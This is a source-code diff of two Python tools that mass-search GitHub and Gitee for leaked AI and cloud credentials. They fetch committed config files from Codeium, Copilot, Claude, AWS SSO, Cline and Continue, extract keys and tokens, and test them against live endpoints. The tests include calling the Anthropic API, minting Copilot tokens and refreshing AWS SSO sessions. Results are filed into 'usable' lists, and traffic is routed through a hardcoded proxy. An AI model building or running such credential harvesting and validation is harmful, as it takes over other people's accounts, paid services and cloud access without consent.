def search_code(self, query, max_results=1000):
|
||||
"""Search GitHub code. Returns list of candidate dicts."""
|
||||
results = []
|
||||
page = 1
|
||||
while len(results) < max_results:
|
||||
data, err = self._api("search/code", {
|
||||
"q": query,
|
||||
"per_page": self.per_page,
|
||||
"page": page,
|
||||
})
|
||||
if err:
|
||||
if self.verbose and "422" not in str(err):
|
||||
print(f" [error] {err}")
|
||||
break
|
||||
items = data.get("items", [])
|
||||
if not items:
|
||||
break
|
||||
for item in items:
|
||||
results.append({
|
||||
"repository": {"full_name": item["repository"]["full_name"]},
|
||||
"path": item["path"],
|
||||
"url": item["html_url"],
|
||||
})
|
||||
if len(items) < self.per_page:
|
||||
break
|
||||
page += 1
|
||||
# Be nice to the API
|
||||
if self._rate_remaining < 5:
|
||||
wait = max(self._rate_reset - int(time.time()) + 2, 2)
|
||||
if self.verbose:
|
||||
print(f" [rate-limit] {self._rate_remaining} left, waiting {wait}s...")
|
||||
time.sleep(min(wait, 120))
|
||||
else:
|
||||
time.sleep(0.2)
|
||||
return results
|
||||
|
||||
def search_commits(self, query, max_results=500):
|
||||
"""Search GitHub commit messages for key patterns."""
|
||||
results = []
|
||||
data, err = self._api("search/commits", {
|
||||
"q": query,
|
||||
"per_page": min(self.per_page, 100),
|
||||
})
|
||||
if err:
|
||||
return []
|
||||
for item in data.get("items", []):
|
||||
repo = item.get("repository", {})
|
||||
results.append({
|
||||
"repository": {"full_name": repo.get("full_name", "")},
|
||||
"path": "(commit message)",
|
||||
"url": item.get("html_url", ""),
|
||||
})
|
||||
return results
|
||||
|
||||
def search_repos_by_topic(self, topic, max_results=100):
|
||||
"""Find repos by topic for targeted scanning."""
|
||||
data, err = self._api("search/repositories", {
|
||||
"q": f"topic:{topic}",
|
||||
"per_page": min(max_results, 100),
|
||||
"sort": "updated",
|
||||
})
|
||||
if err:
|
||||
return []
|
||||
return [item["full_name"] for item in data.get("items", [])]
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════
|
||||
# Gitee Search (Chinese GitHub mirror)
|
||||
# ═══════════════════════════════════════════════════════════════
|
||||
|
||||
def gitee_search(query, token=None, max_results=100):
|
||||
"""Search Gitee.com for key patterns. Returns candidate dicts."""
|
||||
import urllib.parse
|
||||
url = f"https://gitee.com/api/v5/search/code?q={urllib.parse.quote(query)}&per_page=20"
|
||||
headers = {"User-Agent": "llm-key-hunter/2.0"}
|
||||
if token:
|
||||
url += f"&access_token={token}"
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||
items = json.loads(resp.read())
|
||||
return [{
|
||||
"repository": {"full_name": f"gitee:{item.get('repository', {}).get('full_name', '')}"},
|
||||
"path": item.get("path", ""),
|
||||
"url": item.get("html_url", ""),
|
||||
} for item in items[:max_results]]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════
|
||||
# Main Pipeline
|
||||
# ═══════════════════════════════════════════════════════════════
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="GitHub search engine for LLM API key leaks")
|
||||
parser.add_argument("--token", action="append", default=[],
|
||||
help="GitHub token (can repeat for multi-token rotation)")
|
||||
parser.add_argument("--gitee-token", default=None,
|
||||
help="Gitee API token for Chinese mirror search")
|
||||
parser.add_argument("--output", default=str(CANDIDATES_FILE),
|
||||
help="Output candidates JSON file")
|
||||
parser.add_argument("--no-commits", action="store_true",
|
||||
help="Skip commit message search")
|
||||
parser.add_argument("--no-filenames", action="store_true",
|
||||
help="Skip filename-based search")
|
||||
parser.add_argument("--no-gitee", action="store_true",
|
||||
help="Skip Gitee search")
|
||||
parser.add_argument("--no-topics", action="store_true",
|
||||
help="Skip topic-based repo discovery")
|
||||
parser.add_argument("--max-results", type=int, default=1000,
|
||||
help="Max results per query (default: 1000)")
|
||||
parser.add_argument("--verbose", "-v", action="store_true", default=True)
|
||||
parser.add_argument("--resume", action="store_true",
|
||||
help="Resume from checkpoint file")
|
||||
args = parser.parse_args()
|
||||
|
||||
# Collect tokens
|
||||
tokens = args.token or []
|
||||
env_token = os.environ.get("GH_TOKEN", "")
|
||||
if env_token and env_token not in tokens:
|
||||
tokens.append(env_token)
|
||||
if not tokens:
|
||||
print("ERROR: No GitHub tokens. Use --token or set GH_TOKEN env var.")
|
||||
sys.exit(1)
|
||||
|
||||
searcher = GitHubSearcher(tokens=tokens, verbose=args.verbose)
|
||||
|
||||
# Generate queries
|
||||
code_queries = gen_code_queries()
|
||||
filename_queries = gen_filename_queries() if not args.no_filenames else []
|
||||
commit_queries = gen_commit_queries() if not args.no_commits else []
|
||||
|
||||
total_queries = len(code_queries) + len(filename_queries) + len(commit_queries)
|
||||
print(f"Generated {total_queries} queries:")
|
||||
print(f" Code search: {len(code_queries)}")
|
||||
print(f" Filename search: {len(filename_queries)}")
|
||||
print(f" Commit search: {len(commit_queries)}")
|
||||
print(f" Tokens: {len(tokens)}")
|
||||
print()
|
||||
|
||||
all_candidates = {} # url -> candidate (dedup by URL)
|
||||
processed = 0
|
||||
start_idx = 0
|
||||
|
||||
# ── Checkpoint / resume ──────────────────────────────────────
|
||||
checkpoint_path = Path(args.output).with_suffix(".checkpoint.json")
|
||||
progress_path = Path(args.output).with_suffix(".progress.json")
|
||||
|
||||
def save_checkpoint(proc):
|
||||
ckpt = sorted(all_candidates.values(),
|
||||
key=lambda c: c["repository"]["full_name"])
|
||||
with open(checkpoint_path, "w") as f:
|
||||
json.dump(ckpt, f)
|
||||
with open(progress_path, "w") as f:
|
||||
json.dump({"processed": proc, "candidates": len(all_candidates)}, f)
|
||||
|
||||
if args.resume and checkpoint_path.exists():
|
||||
with open(checkpoint_path) as f:
|
||||
for c in json.load(f):
|
||||
all_candidates[c["url"]] = c
|
||||
if progress_path.exists():
|
||||
with open(progress_path) as f:
|
||||
start_idx = json.load(f).get("processed", 0)
|
||||
else:
|
||||
# Legacy checkpoint (written at processed % 50 == 0, before that query ran)
|
||||
start_idx = 50
|
||||
processed = start_idx
|
||||
print(f"Resumed: {len(all_candidates)} candidates, skipping first {start_idx} queries")
|
||||
|
||||
# ── Code search ──────────────────────────────────────────────
|
||||
print("=== Phase 1: Code Search ===")
|
||||
for i, query in enumerate(code_queries):
|
||||
if i < start_idx:
|
||||
continue
|
||||
processed = i + 1
|
||||
if processed % 50 == 0:
|
||||
print(f" [{processed}/{total_queries}] {len(all_candidates)} candidates so far")
|
||||
save_checkpoint(processed)
|
||||
|
||||
results = searcher.search_code(query, max_results=args.max_results)
|
||||
for r in results:
|
||||
if r["url"] not in all_candidates:
|
||||
all_candidates[r["url"]] = r
|
||||
|
||||
# ── Filename search ──────────────────────────────────────────
|
||||
if filename_queries:
|
||||
print(f"\n=== Phase 2: Filename Search ===")
|
||||
for query in filename_queries:
|
||||
processed += 1
|
||||
results = searcher.search_code(query, max_results=args.max_results)
|
||||
for r in results:
|
||||
if r["url"] not in all_candidates:
|
||||
all_candidates[r["url"]] = r
|
||||
print(f" {len(all_candidates)} total candidates after filename search")
|
||||
|
||||
# ── Commit search ────────────────────────────────────────────
|
||||
if commit_queries:
|
||||
print(f"\n=== Phase 3: Commit Message Search ===")
|
||||
for query in commit_queries:
|
||||
processed += 1
|
||||
results = searcher.search_commits(query)
|
||||
for r in results:
|
||||
if r["url"] not in all_candidates:
|
||||
all_candidates[r["url"]] = r
|
||||
print(f" {len(all_candidates)} total candidates after commit search")
|
||||
|
||||
# ── Gitee search ─────────────────────────────────────────────
|
||||
if not args.no_gitee:
|
||||
print(f"\n=== Phase 4: Gitee Search ===")
|
||||
gitee_queries = KEY_PREFIXES + ["OPENAI_API_KEY", "ANTHROPIC_API_KEY",
|
||||
"DASHSCOPE_API_KEY", "ARK_API_KEY"]
|
||||
for query in gitee_queries:
|
||||
results = gitee_search(query, token=args.gitee_token)
|
||||
for r in results:
|
||||
if r["url"] not in all_candidates:
|
||||
all_candidates[r["url"]] = r
|
||||
print(f" {len(all_candidates)} total candidates after Gitee search")
|
||||
|
||||
# ── Topic-based repo discovery ───────────────────────────────
|
||||
if not args.no_topics:
|
||||
print(f"\n=== Phase 5: Topic-based Repo Discovery ===")
|
||||
topic_repos = set()
|
||||
for topic in GH_TOPICS:
|
||||
repos = searcher.search_repos_by_topic(topic)
|
||||
topic_repos.update(repos)
|
||||
print(f" Found {len(topic_repos)} repos by topic")
|
||||
# For each repo, search for key patterns in code
|
||||
for repo in sorted(topic_repos):
|
||||
for prefix in KEY_PREFIXES[:5]: # Top 5 prefixes only
|
||||
query = f"{prefix} repo:{repo}"
|
||||
results = searcher.search_code(query, max_results=100)
|
||||
for r in results:
|
||||
if r["url"] not in all_candidates:
|
||||
all_candidates[r["url"]] = r
|
||||
print(f" {len(all_candidates)} total candidates after topic search")
|
||||
|
||||
# ── Write output ─────────────────────────────────────────────
|
||||
candidates = sorted(all_candidates.values(),
|
||||
key=lambda c: c["repository"]["full_name"])
|
||||
output_path = Path(args.output)
|
||||
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(output_path, "w") as f:
|
||||
json.dump(candidates, f, indent=2)
|
||||
|
||||
# Clean up checkpoint
|
||||
if checkpoint_path.exists():
|
||||
checkpoint_path.unlink()
|
||||
if progress_path.exists():
|
||||
progress_path.unlink()
|
||||
|
||||
print(f"\n=== Done! ===")
|
||||
print(f" Total queries: {processed}")
|
||||
print(f" Candidates: {len(candidates)}")
|
||||
print(f" Output: {output_path}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,776 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Hunt leaked AI-tooling credential files on GitHub.
|
||||
|
||||
Broad net for credential files of AI coding assistants / SDKs that devs
|
||||
accidentally commit. For each kind we search GitHub, fetch the raw file, extract
|
||||
credentials, then verify them against the real endpoint.
|
||||
|
||||
Targets:
|
||||
* codeium : .codeium/config.json (apiKey UUID) -> api.codeium.com
|
||||
* copilot : github-copilot hosts.json/apps.json (gho_/ghu_/ghp_/ghs_) -> api.github.com
|
||||
* claude : .claude/.credentials.json / .claude.json (sk-ant- or OAuth) -> api.anthropic.com
|
||||
* aws-sso : ~/.aws/sso/cache/*.json (refreshToken + clientId/Secret) -> oidc.us-east-1.amazonaws.com
|
||||
* cline : claude-dev settings/*.json (apiKey per provider)
|
||||
* continue : .continue/config.json (apiKey per provider)
|
||||
* generic-env: ANTHROPIC_API_KEY / OPENROUTER_API_KEY / CODEIUM_API_KEY ...
|
||||
|
||||
GitHub is GFW-blocked from this host; all GitHub traffic routes via GH_PROXY.
|
||||
Verification of each provider is direct unless blocked (handled per provider).
|
||||
|
||||
Outputs results/ai_tools/<tool>/{usable,dead,no_access,unknown,all.txt}.
|
||||
"""
|
||||
|
||||
import argparse, base64, json, os, re, subprocess, sys, time, uuid
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
sys.path.insert(0, str(HERE))
|
||||
from verify_cache import CachedVerifier
|
||||
from content_cache import ContentCache, parse_raw_url
|
||||
RESULTS = HERE / "results" / "ai_tools"
|
||||
RESULTS.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
||||
UA = "curl/8.5.0"
|
||||
|
||||
|
||||
def _mkopener(proxy):
|
||||
if proxy:
|
||||
return urllib.request.build_opener(
|
||||
urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
|
||||
return urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
|
||||
|
||||
_gh_op = None
|
||||
def gh_opener():
|
||||
global _gh_op
|
||||
if _gh_op is None:
|
||||
_gh_op = _mkopener(GH_PROXY)
|
||||
return _gh_op
|
||||
|
||||
|
||||
_dir_op = None
|
||||
def direct_opener():
|
||||
global _dir_op
|
||||
if _dir_op is None:
|
||||
_dir_op = _mkopener(None)
|
||||
return _dir_op
|
||||
|
||||
|
||||
def github_token():
|
||||
t = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if t:
|
||||
return t
|
||||
try:
|
||||
o = subprocess.run(["gh", "auth", "token"], capture_output=True,
|
||||
text=True, timeout=10)
|
||||
if o.returncode == 0:
|
||||
return o.stdout.strip()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
p = Path.home() / ".config/gh/hosts.yml"
|
||||
if p.exists():
|
||||
for line in p.read_text().splitlines():
|
||||
if line.strip().startswith("oauth_token:"):
|
||||
return line.split(":", 1)[1].strip()
|
||||
return None
|
||||
|
||||
|
||||
def http_get(url, token=None, timeout=25, direct=False, headers=None):
|
||||
h = {"User-Agent": UA, "Accept": "*/*"}
|
||||
if token:
|
||||
h["Authorization"] = f"Bearer {token}"
|
||||
if headers:
|
||||
h.update(headers)
|
||||
req = urllib.request.Request(url, headers=h)
|
||||
op = direct_opener() if direct else gh_opener()
|
||||
try:
|
||||
with op.open(req, timeout=timeout) as r:
|
||||
return r.getcode(), r.read().decode("utf-8", "replace"), dict(r.headers)
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
body = e.read().decode("utf-8", "replace")
|
||||
except Exception:
|
||||
body = ""
|
||||
return e.code, body, dict(e.headers or {})
|
||||
except Exception as e:
|
||||
return 0, f"net:{type(e).__name__}:{e}", {}
|
||||
|
||||
|
||||
def http_post(url, body, headers, timeout=25, direct=False):
|
||||
h = {"User-Agent": UA, "Accept": "*/*",
|
||||
"Content-Type": "application/json", **headers}
|
||||
data = body if isinstance(body, bytes) else json.dumps(body).encode()
|
||||
req = urllib.request.Request(url, data=data, headers=h, method="POST")
|
||||
op = direct_opener() if direct else gh_opener()
|
||||
try:
|
||||
with op.open(req, timeout=timeout) as r:
|
||||
return r.getcode(), r.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"net:{type(e).__name__}:{e}"
|
||||
|
||||
|
||||
def gh_search(query, token, per_page=100):
|
||||
for page in range(1, 11):
|
||||
url = ("https://api.github.com/search/code?"
|
||||
f"q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
|
||||
code, body, hdrs = http_get(url, token, direct=False)
|
||||
if code == 200:
|
||||
try:
|
||||
data = json.loads(body)
|
||||
except Exception:
|
||||
return
|
||||
items = data.get("items", [])
|
||||
for it in items:
|
||||
yield it
|
||||
if len(items) < per_page:
|
||||
return
|
||||
time.sleep(2.2)
|
||||
elif code in (403, 429):
|
||||
reset = hdrs.get("X-RateLimit-Reset")
|
||||
wait = max(int(reset) - int(time.time()), 5) if reset else 30
|
||||
print(f" rate-limited {wait}s", file=sys.stderr, flush=True)
|
||||
time.sleep(wait + 1)
|
||||
elif code == 422:
|
||||
return
|
||||
else:
|
||||
print(f" search {code} for {query!r}", file=sys.stderr)
|
||||
return
|
||||
|
||||
|
||||
# ----------------------------- extraction ---------------------------------
|
||||
# Each extractor takes raw file text and yields (cred, detail_dict)
|
||||
|
||||
CODEIUM_UUID = re.compile(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}")
|
||||
GH_TOKEN = re.compile(r"gh[opsu]_[A-Za-z0-9_]{20,255}")
|
||||
SKANT = re.compile(r"sk-ant-[A-Za-z0-9_\-]{20,255}")
|
||||
SKOAI = re.compile(r"sk-[A-Za-z0-9]{20,80}")
|
||||
ENV_KEY = re.compile(r'\b([A-Z0-9_]*API_KEY|[A-Z0-9_]*TOKEN)\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{12,255})')
|
||||
|
||||
|
||||
def extract_codeium(text):
|
||||
# .codeium/config.json -> { "apiKey": "<uuid>" }
|
||||
try:
|
||||
j = json.loads(text)
|
||||
ak = j.get("apiKey")
|
||||
if isinstance(ak, str) and CODEIUM_UUID.search(ak):
|
||||
yield ak, {"source": "config.json"}
|
||||
# VS Code settings: { "codeium.apiKey": "<uuid>" }
|
||||
if isinstance(j, dict):
|
||||
for k, v in j.items():
|
||||
if isinstance(k, str) and "codeium" in k.lower() and "apikey" in k.lower():
|
||||
if isinstance(v, str) and CODEIUM_UUID.search(v):
|
||||
yield v, {"source": f"settings:{k}"}
|
||||
except Exception:
|
||||
pass
|
||||
# generic CODEIUM_API_KEY=...
|
||||
for m in re.finditer(r'CODEIUM(?:_API)?_KEY\s*[:=]\s*["\']?([0-9a-fA-F\-]{36})', text):
|
||||
yield m.group(1), {"source": "env"}
|
||||
# "apiKey": "<uuid>" anywhere in a file that mentions codeium
|
||||
if "codeium" in text.lower():
|
||||
for m in re.finditer(r'"apiKey"\s*:\s*"([0-9a-fA-F\-]{36})"', text):
|
||||
yield m.group(1), {"source": "inline-apikey"}
|
||||
|
||||
|
||||
def extract_copilot(text):
|
||||
# hosts.json: { "github.com": { "oauthToken": "gho_..." } }
|
||||
# apps.json has oauth_token fields
|
||||
try:
|
||||
j = json.loads(text)
|
||||
if isinstance(j, dict):
|
||||
for _host, v in j.items():
|
||||
if isinstance(v, dict):
|
||||
for k in ("oauthToken", "oauth_token", "token", "accessToken"):
|
||||
t = v.get(k)
|
||||
if isinstance(t, str) and t.startswith(("gho_", "ghu_", "ghp_", "ghs_")):
|
||||
yield t, {"field": k, "host": _host}
|
||||
except Exception:
|
||||
pass
|
||||
for m in GH_TOKEN.finditer(text):
|
||||
yield m.group(0), {"field": "regex"}
|
||||
|
||||
|
||||
def _looks_like_secret(s):
|
||||
"""Reject i18n strings, placeholder text, and non-ASCII junk."""
|
||||
if not isinstance(s, str):
|
||||
return False
|
||||
if len(s) < 30:
|
||||
return False
|
||||
# only printable ASCII for header-bound tokens
|
||||
if any(ord(c) > 127 for c in s):
|
||||
return False
|
||||
low = s.lower()
|
||||
bad = ("your_api_key", "replace_with", "placeholder", "please enter",
|
||||
"sk-ant-your", "xxx", "changeme", "paste ", "fill in", "api key",
|
||||
"{{", "}}", "select ", "leave blank", "optional", "http://", "https://")
|
||||
if any(b in low for b in bad):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def extract_claude(text):
|
||||
# .claude/.credentials.json: { "claudeAiOauthToken": "eyJ..." }
|
||||
try:
|
||||
j = json.loads(text)
|
||||
if isinstance(j, dict):
|
||||
for k, v in j.items():
|
||||
if isinstance(v, str) and ("token" in k.lower() or "key" in k.lower()):
|
||||
if (v.startswith("sk-ant") or v.startswith("eyJ")) and _looks_like_secret(v):
|
||||
yield v, {"field": k}
|
||||
if isinstance(v, dict):
|
||||
for k2, v2 in v.items():
|
||||
if isinstance(v2, str) and ("token" in k2.lower() or "key" in k2.lower()):
|
||||
if (v2.startswith("sk-ant") or v2.startswith("eyJ")) and _looks_like_secret(v2):
|
||||
yield v2, {"field": f"{k}.{k2}"}
|
||||
except Exception:
|
||||
pass
|
||||
for m in SKANT.finditer(text):
|
||||
v = m.group(0)
|
||||
if _looks_like_secret(v):
|
||||
yield v, {"field": "sk-ant"}
|
||||
# OAuth bearer tokens: base64 JWTs (eyJ...) of realistic length
|
||||
for m in re.finditer(r"eyJ[A-Za-z0-9_\-]{30,}\.[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}", text):
|
||||
v = m.group(0)
|
||||
if 100 < len(v) < 4000:
|
||||
yield v, {"field": "oauth-jwt"}
|
||||
|
||||
|
||||
def extract_aws_sso(text):
|
||||
# ~/.aws/sso/cache/*.json: { startUrl, region, accessToken, expiresAt,
|
||||
# clientId, clientSecret, refreshToken, registrationExpiresAt }
|
||||
# Distinguish real AWS SSO from generic OAuth templates/configs.
|
||||
try:
|
||||
j = json.loads(text)
|
||||
if not isinstance(j, dict):
|
||||
return
|
||||
rt = j.get("refreshToken")
|
||||
cid = j.get("clientId")
|
||||
cs = j.get("clientSecret")
|
||||
start = j.get("startUrl", "")
|
||||
if not (isinstance(rt, str) and isinstance(cid, str) and isinstance(cs, str)):
|
||||
return
|
||||
# Real AWS SSO cache markers
|
||||
if "amazonaws.com" not in str(start) and not str(start).startswith("https://"):
|
||||
# still allow if clientId looks like the SSO-registered UUID-ish form
|
||||
pass
|
||||
# Reject placeholders / generic OAuth
|
||||
bad = ("your_", "replace", "example", "xxxx", "client id", "client secret",
|
||||
"spotify", "reddit", "<", ">", "*")
|
||||
blob = " ".join([str(rt), str(cid), str(cs)]).lower()
|
||||
if any(b in blob for b in bad):
|
||||
return
|
||||
# AWS SSO clientId is a 32-hex-char value; refreshToken is long base64
|
||||
if not re.fullmatch(r"[0-9a-fA-F]{32}", cid or ""):
|
||||
return
|
||||
if len(rt) < 50 or len(cs) < 20:
|
||||
return
|
||||
yield j, {
|
||||
"clientId": cid,
|
||||
"clientSecret": cs,
|
||||
"region": j.get("region", "us-east-1"),
|
||||
"startUrl": start,
|
||||
"expiresAt": j.get("expiresAt"),
|
||||
}
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _valid_api_key(v):
|
||||
if not isinstance(v, str):
|
||||
return False
|
||||
if len(v) < 20:
|
||||
return False
|
||||
if any(ord(c) > 127 for c in v):
|
||||
return False
|
||||
low = v.lower()
|
||||
bad = ("your_api", "replace_", "placeholder", "sk-your", "sk-ant-your",
|
||||
"xxxx", "changeme", "paste-", "fill in", "example", "get it at",
|
||||
"create one", "{{", "}}", "<", ">", "api_key", "api key", "null",
|
||||
"undefined", "todo", "delete this")
|
||||
if any(b in low for b in bad):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def extract_cline(text):
|
||||
# Cline: { "apiProvider": "...", "apiKey": "sk-...", "clineApiKey": "..." }
|
||||
try:
|
||||
j = json.loads(text)
|
||||
if isinstance(j, dict):
|
||||
prov = j.get("apiProvider") or j.get("provider") or "?"
|
||||
for k, v in j.items():
|
||||
if isinstance(v, str) and ("apiKey" in k or "ApiKey" in k):
|
||||
if _valid_api_key(v):
|
||||
yield v, {"provider": prov, "field": k}
|
||||
for k, v in j.items():
|
||||
if isinstance(v, dict):
|
||||
for k2, v2 in v.items():
|
||||
if isinstance(v2, str) and ("apiKey" in k2 or "ApiKey" in k2):
|
||||
if _valid_api_key(v2):
|
||||
yield v2, {"provider": prov, "field": f"{k}.{k2}"}
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def extract_continue(text):
|
||||
# .continue/config.json: { "models": [ { "apiKey": "..." } ] }
|
||||
try:
|
||||
j = json.loads(text)
|
||||
if isinstance(j, dict):
|
||||
for m in j.get("models", []):
|
||||
if isinstance(m, dict):
|
||||
key = m.get("apiKey") or m.get("api_key")
|
||||
if _valid_api_key(key):
|
||||
yield key, {"model": m.get("model") or m.get("title"),
|
||||
"provider": m.get("provider")}
|
||||
for k, v in j.items():
|
||||
if isinstance(v, str) and "apiKey" in k and _valid_api_key(v):
|
||||
yield v, {"field": k}
|
||||
if isinstance(v, dict):
|
||||
key = v.get("apiKey")
|
||||
if _valid_api_key(key):
|
||||
yield key, {"field": k}
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def extract_generic_env(text):
|
||||
for m in ENV_KEY.finditer(text):
|
||||
name, val = m.group(1), m.group(2)
|
||||
if val.lower() in ("your_key_here", "changeme", "placeholder", "xxx", "none"):
|
||||
continue
|
||||
if val.startswith(("sk-", "gh", "r8_", "nk-", "gsk_", "sk-ant")) or len(val) > 25:
|
||||
yield val, {"env": name}
|
||||
|
||||
|
||||
# ----------------------------- verification -------------------------------
|
||||
# Each verifier returns (verdict, detail). Verdict in USABLE/DEAD/NO_ACCESS/
|
||||
# NO_BALANCE/UNKNOWN. ONLY 401 => DEAD; everything non-401 is kept.
|
||||
|
||||
def verify_codeium(key):
|
||||
# Codeium register/metrics endpoint; a registered UUID returns 200/404-ish,
|
||||
# an invalid key returns 401/403. POST to register_user with the apiKey.
|
||||
body = {"api_key": key, "ide_name": "vscode", "ide_version": "1.0.0",
|
||||
"extension_version": "1.0.0", "device_id": str(uuid.uuid4())}
|
||||
code, txt = http_post("https://api.codeium.com/register_user/", body,
|
||||
{"User-Agent": "codeium-vscode"}, direct=True)
|
||||
if code == 200:
|
||||
return "USABLE", f"register_user 200: {txt[:80]}"
|
||||
if code in (401, 403):
|
||||
# Codeium returns 403 for bad key, 401 sometimes too. Per rules only 401=DEAD.
|
||||
if code == 401:
|
||||
return "DEAD", f"{code} {txt[:80]}"
|
||||
return "NO_ACCESS", f"{code} {txt[:80]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"{code} {txt[:80]}"
|
||||
if code == 0:
|
||||
return "UNKNOWN", txt[:100]
|
||||
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
|
||||
|
||||
|
||||
def verify_copilot(token):
|
||||
# GitHub token validity: GET /user (401 bad). For copilot, also check the
|
||||
# copilot token entitlement endpoint.
|
||||
code, txt, _ = http_get("https://api.github.com/user", token=token, direct=True)
|
||||
if code == 401:
|
||||
return "DEAD", "401 bad credentials"
|
||||
if code != 200:
|
||||
if code == 0:
|
||||
return "UNKNOWN", txt[:100]
|
||||
return "NO_ACCESS", f"user HTTP {code}: {txt[:60]}"
|
||||
try:
|
||||
who = json.loads(txt).get("login", "?")
|
||||
except Exception:
|
||||
who = "?"
|
||||
# copilot entitlement
|
||||
code2, txt2, _ = http_get("https://api.github.com/copilot_internal/v2/token",
|
||||
token=token, direct=True)
|
||||
if code2 == 200:
|
||||
try:
|
||||
j = json.loads(txt2)
|
||||
exp = j.get("expires_at") or j.get("exp")
|
||||
return "USABLE", f"github user={who}; copilot token issued (exp={exp})"
|
||||
except Exception:
|
||||
return "USABLE", f"github user={who}; copilot 200"
|
||||
if code2 in (401,):
|
||||
return "DEAD", f"github ok but copilot 401"
|
||||
# 404/403 means no copilot subscription but the token itself is valid
|
||||
return "NO_ACCESS", f"github user={who}; copilot HTTP {code2}: {txt2[:60]}"
|
||||
|
||||
|
||||
def verify_claude(cred):
|
||||
# Could be sk-ant-... or an OAuth token.
|
||||
if cred.startswith("sk-ant"):
|
||||
code, txt = http_post("https://api.anthropic.com/v1/messages",
|
||||
{"model": "claude-3-5-haiku-20241022", "max_tokens": 4,
|
||||
"messages": [{"role": "user", "content": "hi"}]},
|
||||
{"x-api-key": cred,
|
||||
"anthropic-version": "2023-06-01"}, direct=True)
|
||||
if code in (200, 400):
|
||||
return "USABLE", f"anthropic {code}: {txt[:80]}"
|
||||
if code in (401,):
|
||||
return "DEAD", f"{code} {txt[:80]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"{code} {txt[:80]}"
|
||||
if code == 403:
|
||||
return "NO_ACCESS", f"{code} {txt[:80]}"
|
||||
if code == 0:
|
||||
return "UNKNOWN", txt[:100]
|
||||
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
|
||||
# OAuth token: use it as Bearer against the Claude console-ish endpoint.
|
||||
# Best check: GET https://api.anthropic.com/api/oauth/claude_api_key (401 if bad)
|
||||
code, txt, _ = http_get("https://api.anthropic.com/api/oauth/claude_api_key",
|
||||
token=cred, direct=True)
|
||||
if code == 200:
|
||||
return "USABLE", f"oauth 200: {txt[:80]}"
|
||||
if code == 401:
|
||||
return "DEAD", f"oauth 401 {txt[:60]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"{code} {txt[:60]}"
|
||||
if code == 0:
|
||||
return "UNKNOWN", txt[:100]
|
||||
return "NO_ACCESS", f"HTTP {code}: {txt[:60]}"
|
||||
|
||||
|
||||
def verify_aws_sso(blob, detail):
|
||||
# Try to exchange the SSO refresh token via the OIDC token endpoint.
|
||||
# This is the AWS SSO OIDC flow: CreateToken with grantType=refresh_token.
|
||||
region = detail.get("region", "us-east-1")
|
||||
url = f"https://oidc.{region}.amazonaws.com/token"
|
||||
body = {"grantType": "refresh_token", "clientId": detail["clientId"],
|
||||
"clientSecret": detail["clientSecret"],
|
||||
"refreshToken": blob["refreshToken"]}
|
||||
code, txt = http_post(url, body,
|
||||
{"Content-Type": "application/json",
|
||||
"User-Agent": "aws-sdk-js/2.0"}, direct=True, timeout=25)
|
||||
if code == 200:
|
||||
try:
|
||||
j = json.loads(txt)
|
||||
return "USABLE", f"SSO token refreshed; accessToken len={len(j.get('accessToken',''))}"
|
||||
except Exception:
|
||||
return "USABLE", f"SSO 200: {txt[:60]}"
|
||||
if code in (400, 401):
|
||||
# 400 invalid_grant => token dead; treat as DEAD only if 401 per rules,
|
||||
# but invalid_grant 400 is also effectively dead. Keep rule: 401=DEAD, 400=NO_ACCESS.
|
||||
if code == 401:
|
||||
return "DEAD", f"{code} {txt[:80]}"
|
||||
return "NO_ACCESS", f"{code} {txt[:80]}"
|
||||
if code in (403,):
|
||||
return "NO_ACCESS", f"{code} {txt[:80]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"{code} {txt[:80]}"
|
||||
if code == 0:
|
||||
return "UNKNOWN", txt[:100]
|
||||
return "NO_ACCESS", f"HTTP {code}: {txt[:80]}"
|
||||
|
||||
|
||||
def verify_openai_like(key):
|
||||
# generic: try /v1/models as a validity probe. 401 = dead, 200/403/429 kept.
|
||||
code, txt, _ = http_get("https://api.openai.com/v1/models", token=key, direct=True)
|
||||
if code == 200:
|
||||
return "USABLE", "openai /v1/models 200"
|
||||
if code == 401:
|
||||
return "DEAD", "401"
|
||||
if code in (403, 404, 429, 402):
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"HTTP {code}"
|
||||
return "NO_ACCESS", f"HTTP {code}"
|
||||
